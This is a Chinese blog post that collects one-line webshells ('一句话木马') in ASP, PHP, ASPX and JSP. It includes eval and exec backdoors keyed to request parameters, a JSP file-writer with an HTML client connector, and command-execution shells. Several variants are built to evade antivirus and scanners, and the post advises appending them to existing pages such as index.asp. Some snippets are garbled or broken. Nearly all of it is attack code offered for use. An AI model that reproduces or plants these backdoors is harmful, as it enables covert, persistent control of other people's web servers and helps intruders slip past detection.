美文网首页
一句话木马

一句话木马

作者: 忘星者 | 来源:发表于2019-07-13 20:46 被阅读0次

一句话木马

asp


<%execute(request("kxc"))%>

<%eval request ("pass")%>

<%eval request(chr(35))%>

<%executerequest("YouPass")%>

<%eval(request(“1″)):response.end%>

php


<?php @eval($_POST['pass']);?>

<?php fputs( fopen('xie.php','w')  , '<? php eval($_POST[xie]) ?>' ) ; ?>



  #将当前目录下创建xie.php文件,并且将一句话木马写入xd.php中



<?php

$a=array("assert"=>"XC90");

$b=array_keys($a,'XC90');

declare(ticks=1);

register_tick_function($b[0], $_REQUEST['x']);

?>

aspx


<%@ Page Language="Jscript"%>

<%eval(Request.Item["pass"],"unsafe");%>

一句话木马变形

jsp脚本后门

先把下面的代码保存为 one.jsp (该代码的作用是可以在当前目录下生成另外一个指定的文件),然后上传到服务器


<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

然后将下面的代码保存为 .html 格式的,直接双击本地打开。这是作为客户端去连接我们刚刚上传的one.jsp的


<html><head><title>JSP一句话木马客户端</title></head><div align=center>  <font color=red>专用JSP木马连接器</font><br><form name=get method=post>服务端地址<input name=url size=110 type=text>  <br><br><textarea name=t rows=20 cols=120>你要提交到服务器的代码</textarea><br>要保存成的文件名:<input name=f size=30 value=shell.jsp><input type=button οnclick="javascript:get.action=document.get.url.value;get.submit()" value=提交> </form>  <br>服务端代码:<br><textarea rows=5 cols=120><%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>  </textarea>  </div></body>

无回显执行命令

将下面的命令保存为 a.jsp,然后上传到服务器


<%Runtime.getRuntime().exec(request.getParameter("i"));%>

有回显带密码执行命令

将下面的命令保存为 b.jsp,然后上传到服务器


<%

    if("b".equals(request.getParameter("pwd"))){

        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();

        int a = -1;

        byte[] b = new byte[2048];

        out.print("<pre>");

        while((a=in.read(b))!=-1){

            out.println(new String(b));

        }

        out.print("</pre>");

    }

%>

参考

其它


<%eval request("c")%>

<%execute request("c")%>

<%execute(request("c"))%>

<%ExecuteGlobal request("sb")%>

%><%Eval(Request(chr(35)))%><%

<%if request ("c")<>""then session("c")=request("c"):end if:if session("c")<>"" then execute session("c")%>

<%eval(Request.Item["c"],"unsafe");%>

'备份专用

<%eval(request("c")):response.end%>

'无防下载表,有防下载表突破专用一句话

<%execute request("c")%><%<%loop<%:%>

<%<%loop<%:%><%execute request("c")%>

<%execute request("c")<%loop<%:%>

'防杀防扫专用

<%if Request("c")<>"" ThenExecuteGlobal(Request("c"))%>

'不用"<,>"

<script language=VBScript runat=server>execute request("c")</script>

<% @Language="JavaScript" CodePage="65001"var lcx={'名字':Request.form('#'),'性别':eval,'年龄':'18','昵称':'请叫我一声老大'};lcx.性别((lcx.

名字)+'') %>

<script language=vbs runat=server>eval(request("c"))</script>

<script language=vbs runat=server>eval_r(request("c"))</script>

'不用双引号

<%eval request(chr(35))%>

'可以躲过雷客图

<%set ms = server.CreateObject("MSScriptControl.ScriptControl.1") ms.Language="VBScript" ms.AddObject"response",response ms.AddObject

"request",request ms.ExecuteStatement("ev"&"al(request(""c""))")%>

<%dy=request("dy")%><%Eval(dy)%>

'容错代码

if Request("sb")<>"" then ExecuteGlobal request("sb") end if

PHP一句话

<?php eval($_POST1);?>

<?php if(isset($_POST['c'])){eval($_POST['c']);}?>

<?php system($_REQUEST1);?>

<?php ($_=@$_GET1).@$_($_POST1)?>

<?php eval_r($_POST1)?>

<?php @eval_r($_POST1)?>//容错代码

<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句

<?$_POST['c']($_POST['cc']);?>

<?$_POST['c']($_POST['cc'],$_POST['cc'])?>

<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>

<?php echo `$_GET['r']` ?>

//绕过<?限制的一句话

<script language="php">@eval_r($_POST[sb])</script>

//绕过<?php ?>限制的一句话

<?=eval($_POST['cmd']);

JSP一句话

<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>

提交客户端

<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>

ASPX一句话

<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>

普通的php一句话:<?php @eval($_POST['r00ts']);?>

普通的asp一句话:<%eval(Request.Item["r00ts"],”unsafe”);%>

aspx突破一流的:

dim da

set fso=server.createobject("scripting.filesystemobject")

path=request("path")

if path<>"" then

data=request("da")

set da=fso.createtextfile(path,true)

da.write data

if err=0 then

Response.Write "yes"

else

Response.Write "no"

end if

err.clear

end if

set da=nothing

set fos=nothing

Response.Write "<form action=" method=post>"

Response.Write "<input type=text name=path>"

Response.Write "<br>"

Response.Write "当前文件路径:"&server.mappath(request.servervariables("script_name"))

Response.Write "<br>"

Response.Write "操作系统为:"&Request.ServerVariables("OS")

Response.Write "<br>"

Response.Write "WEB服务器版本为:"&Request.ServerVariables("SERVER_SOFTWARE")

Response.Write "<br>"

Response.Write "<textarea name=da cols=50 rows=10 width=30></textarea>"

Response.Write "<br>"

Response.Write "<input type=submit value=save>"

Response.Write "</form>"

</Script>

ASP一句话:<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%>

PHP防杀放扫 一句话:<?php (])?>

上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如

index.asp里面也是可以的!

因为加了判断!加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件

的最底部不会出错!<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system($_REQUEST[1]);?>

无防下载表,有防下载表可尝试插入以下语句突破的一句话

<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request(“class”)%><%execute request(“class”)'<% loop <%:%>

备份专用<%eval(request(“1″)):response.end%>

asp一句话<%execute(request(“1″))%>

aspx一句话:<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y(“add6bb58e139be10″);</script>

可以躲过雷客图的一句话。

<%set ms = server.CreateObject(“MSScriptControl.ScriptControl.1″)

ms.Language=”VBScript”ms.AddObject”Response”,Responsems.AddObject”request”,

requestms.ExecuteStatement(“ev”&”al(request(“”1″”))”)%>

不用'<,>‘的asp一句话<scriptrunat=server>execute request(“1″)</script>

不用双引号的一句话。<%eval request(chr(35))%>

参考

相关文章

  • 一句话木马

    asp一句话木马是<%execute(request("value"))%> aspx的一句话木马是<%@ Pag...

  • 安全检测关键技术之Web木马检测和绕过

    Web木马一般是为了获得对网站的持久控制而留下的脚本。分为一句话木马和大马。一句话木马指的是并没有完整的网站控制功...

  • PHP一句话木马之小马

    什么是一句话木马 一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测...

  • PHP之一句话木马

    一句话木马 一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句...

  • 一句话木马

    一句话木马 asp php aspx 一句话木马变形 jsp脚本后门 先把下面的代码保存为 one.jsp (该代...

  • webshell

    打开题目显示 看到一句话木马,而且题目描述提示一句话木马放在index.php中。用菜刀连接。 连接后看到flag...

  • 网络安全实验报告 第四章

    中国菜刀配合一句话木马基本使用 菜刀的主要功能是用来连接一句话木马的,asp、aspx、php的一句话菜刀都可以连...

  • 2019-02-24 文件包含、文件上传和一句话木马配合使用

    刚刚写完的文件包含和文件上传学习,我还好奇如何使用文件上传,没想到一句话木马解决了我的疑问。 正常的一句话木马是就...

  • 一句话木马

    1.PHP一句话:

  • 一句话木马

    经典一句话 其他变种 使用var_dump(),打印出来关键信息: 最终一句话木马为: continue...

网友评论

      本文标题:一句话木马

      本文链接:https://www.haomeiwen.com/subject/ekzmkctx.html